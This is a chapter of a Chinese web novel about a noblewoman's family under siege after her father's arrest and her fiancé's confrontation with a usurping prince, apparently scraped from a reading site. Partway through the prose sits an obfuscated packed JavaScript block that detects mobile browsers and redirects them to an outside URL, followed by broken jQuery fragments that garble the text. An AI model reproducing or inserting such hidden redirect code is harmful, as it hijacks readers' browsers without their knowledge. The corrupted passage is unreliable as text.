74. 第七十四章

作品:《姑娘她不想回府

    青凤听到消息,立刻就往徐氏那边去了。


    府里乱糟糟的,文平伯进了大狱这件事,几乎把一多半人都给击碎了,到处都是吵吵嚷嚷,六神无主的下人。


    幸好徐氏平日里一直严格把控着内宅,身边又有几个得力的管家娘子,所以经过半天的努力,勉勉强强也算把上上下下的人心安抚住了。


    青凤刚踏进徐氏的屋子,就听见了晏玉娥的啜泣声。她一路不停,到徐氏面前行了个礼,然后站起来就问道:“夫人,我听说来的人姓魏,是吗?”


    徐氏一脸疲惫地抬起头,看向面前的大女儿:“他说是你过去的未婚夫,你同我说实话,你跟他可有过什么?”


    魏铭,青凤的眸色暗了下来,他居然到了定京,还成为三皇子的手下:“他同我住在一个村子,父亲早早没了,我爹很照顾他们家。因为两家熟识,他又读了些书,本来是想结亲的,但魏家一直以求学为由没有应下。后来隋嬷嬷找到我,他和他母亲撒泼打滚,非说我们有情义,被我骂走了。”


    徐氏听完揉了揉额角,她忍不住想责怪李家夫妇,明明是别人的女儿,居然还想擅自选定人家,结果现在搞出这么麻烦的事。


    但现在这个情景,实在不适合和青凤再起冲突,所以她还是把这些话压了下去,对着青凤说道:“你做的很好,这样不知感恩的人有什么情义可言,你养父如此厚待他们,他们居然还扒着你不放,真真是半点仁义礼智都不讲。他这次过来,就是想要拿捏咱们,所幸你已经有了人家,谢家身份也够高,他还不敢胡来。”


    青凤已经恶心的不想说话了,魏铭来了定京她不管,居然还跑到文平伯府耍威风。不用徐氏说她都知道这种人脑子里想的是什么。


    当初她是村女时,魏家死活不愿意把亲事定下,但她身份变了后,又非要拽着她说情谊深厚,这事她可半点没忘。若不是顾念爹娘和魏父早年那点情分,魏铭拦路时她完全可以叫人把他打一顿。跑去拉扯非亲非故的未婚女,就算被打断腿都没人会说一句。


    她脸色阴沉沉的,两只眼睛里嗖嗖飙刀子,晏玉娥本来哭到一半想抱怨,但抬头一看青凤的模样,吓得又把头低回去了。


    “现在时局不明,谢郎君的用处也不好说大不大,”青凤看了看徐氏,文平伯都能下狱,全指望着谢华庭也太不现实,“三皇子只要没有上位,魏铭就不敢怎么样,不然也不会只叫兵把文平伯府围起来。但是他这人自视甚高,心胸又窄,如果没有什么事,夫人还是不要与他多接触。”


    徐氏抬头,打量了青凤片刻,自己小女儿从小娇养,遇着事就六神无主,大女儿却是个稳的住的,她叹了一口气,对着两个女儿说道:


    “现在也只能这样了,他不许府里的人出去,大概是不想我们找人求救。老爷的罪名可大可小,多半是三皇子为了控制局面,随意取了一个名头。跟着去的都是朝中重臣,总不能要了他们的性命,咱们既然已经管不了那边,就管好府里,自己要是先乱了阵脚,那就真由着人家拿捏了。”


    “等过几天我便称病不起,你们都是未出嫁的姑娘,姓魏的小子再怎么样也不敢对你们如何。我不出面,他就没理由再进内院来。”


    “玉娥留在我身边侍疾,家里的事由玉姝处置。底下的仆人若是有动了心思的,你便直接绑了,找间院子关起来,这种时候,可不能有耳报神出现。等万事准备好,再把生病的消息传出去,除了在这间屋子,外面谁也不要多说。”


    青凤冷淡地瞧了一眼前面,晏玉娥满脸泪痕,坐在徐氏的身边,都这光景了,徐氏还要把她栓在裤腰带上:“若是外头叫大夫来看,那该如何是好?”


    “当然要叫大夫过来,而且不能等他们叫,要咱们自己请。到时候我会派小厮出去寻兵士,让他们请人过来看病,你们都要装的像一些,最好趴在我床边哭的凄惨点。”


    徐氏一边说,一边看向青凤,青凤脸上略有些不同意的神,她心里感叹一声,早知道现在是这样的情景,那之前这个女儿回来,她肯定会好好与她相处相处感情。


    青凤想的却和徐氏南辕北辙,哭不哭这无关紧要,就是哭不出来,拿些水涂在脸上就是。可徐氏有没有病这可是真真实实的,请了大夫来看,难道还看不出身体康泰不康泰?


    她心里不信任外头来的人,就是给他银子,他也未必不会向魏铭投诚,若是再两头骗,那才真叫得不偿失。可看徐氏主意已定的样子,她也不好再说什么,徐氏是文平伯的妻子,跟着他也接触官场这些年,她的经验远不是自己能比得上的。


    “那就按夫人的意思办吧,我先告辞了。”


    她低头行了礼,然后朝外面走去,等她的身影彻底消失不见,晏玉娥才抬起了头。


    “母亲,这……她居然招惹了这样的人。”


    徐氏疲惫地垂下眼睛,她现在没有力气去调停什么姐妹之间的纷争了,再互相看不顺眼,这个府里的人也是一条船上的。


    “玉娥,你要分的清里外,难道这是你姐姐的错吗?”徐氏的声音温柔却严肃,“这样狼心狗肺的人来纠缠你姐姐,你该同情她才是,而不是怪她招惹了脏东西。论起来,你姐姐早就同他分辨清楚了,连她的养父养母都没说非要你姐姐嫁过去,现在他来,不过是小人得志,你不明白吗?”


    晏玉娥低了头,她手里的一块丝绢帕子被她揉来揉去,上面满是褶皱:“我没说是她的错……我只是心里害怕。”


    “玉娥,现在家里已经这样了,害怕有什么用呢?我之前一直娇惯你,是想着有你父亲,你只要安安心心当个小姐就是,谁能想到竟然会有这样一遭。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932999|189234||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “现在不比平时,你自己要灵醒些,不要同你姐姐有什么过不去的想法,外头的人难道能比你姐姐对你好?咱们才是一个府里的,外头那些豺狼虎豹想要咬你姐姐,自然也会想咬咱们。你跟在我身边侍疾,不要往外面去,这段时间乱的很,等你父亲出来,再说别的。”


    文平伯府因为魏铭的到来引起了一场骚乱,但另一边,三皇子也因为魏铭的事而遭到了责难。


    谢华庭听说了文平伯下狱的事,心里还在谋算,什么时候找三皇子把人放出来。对于文平伯的性命,他倒不太担忧,像这种没有在皇子间站过队的大臣,于情于理都是应该拉拢的对象,如果中立的都有可能被杀,那三皇子这监国早晚也要到头。


    但很快,他底下的探子就给他带来一条更不好的消息,文平伯府被围,是三皇子手下一个姓魏的幕僚带人过去的。


    这个探子和七皇子有联系,他还从那边得到了一条内部截来的消息,这位魏先生对文平伯的长女十分喜欢,曾在醉酒时与同僚说过,若有一天能飞黄腾达,必要把晏家女纳入魏家的大门。


    谢华庭听了这事,立时就动了真气,他和青凤的婚事可是圣人和淑妃一起应允的,三皇子竟然可以全然不顾,甚至连他底下的人都敢随意朝别人家伸手!


    他在屋子里转了两圈,稍稍冷静了下来。三皇子扣住了圣人,现在自然是志得意满,后宫与前朝彻底阻隔开,去求见圣人的重臣们一半被软禁在宫内,一半被下了大狱,外头的人再不敢随意往宫里头走,可现在他却有了个机会。


    谢华庭一刻不停,穿了官服就进宫去了。三皇子本来不想见他,但他气势汹汹,对着内监臭骂了一顿,声音大到来来往往的宫人都低头走开,片刻不敢停留。三皇子实在受不了这种丢人的事在外面乱传,于是网开一面,赶紧让人把谢华庭叫进来了。


    “殿下,您的人这是什么意思?”谢华庭不等三皇子说话,先下手为强,劈头盖脸地质问他,“晏家女可是我正经下了聘书的,她是我未过门的妻子,整个定京都知道,现在却有人传言,您的属下对她意谋不轨,这是瞧不起我谢家吗?”


    三皇子对谢家嗤之以鼻,整个谢家主枝还能有十个人吗?但他不好直接对着谢华庭说这种话,谢六再怎么样,也是圣人的外甥,跟他沾着表亲。


    他脸上带着点笑,心里把魏铭骂了一万遍,一个女人罢了,等文平伯彻底没了用处,难道谢华庭还会娶个罪臣的女儿?到那时候再下手,谁又能说些什么?


    “六弟,你进来就对着我动气,我可还什么都不知道呢,晏家女的事我会去替你问问,不过真有这样的事,那也算情有可原。你可知道,这晏家女流落在外,曾有一个门当户对两小无猜的未婚夫,这样的女人同你结了婚约,实在是太委屈你了。”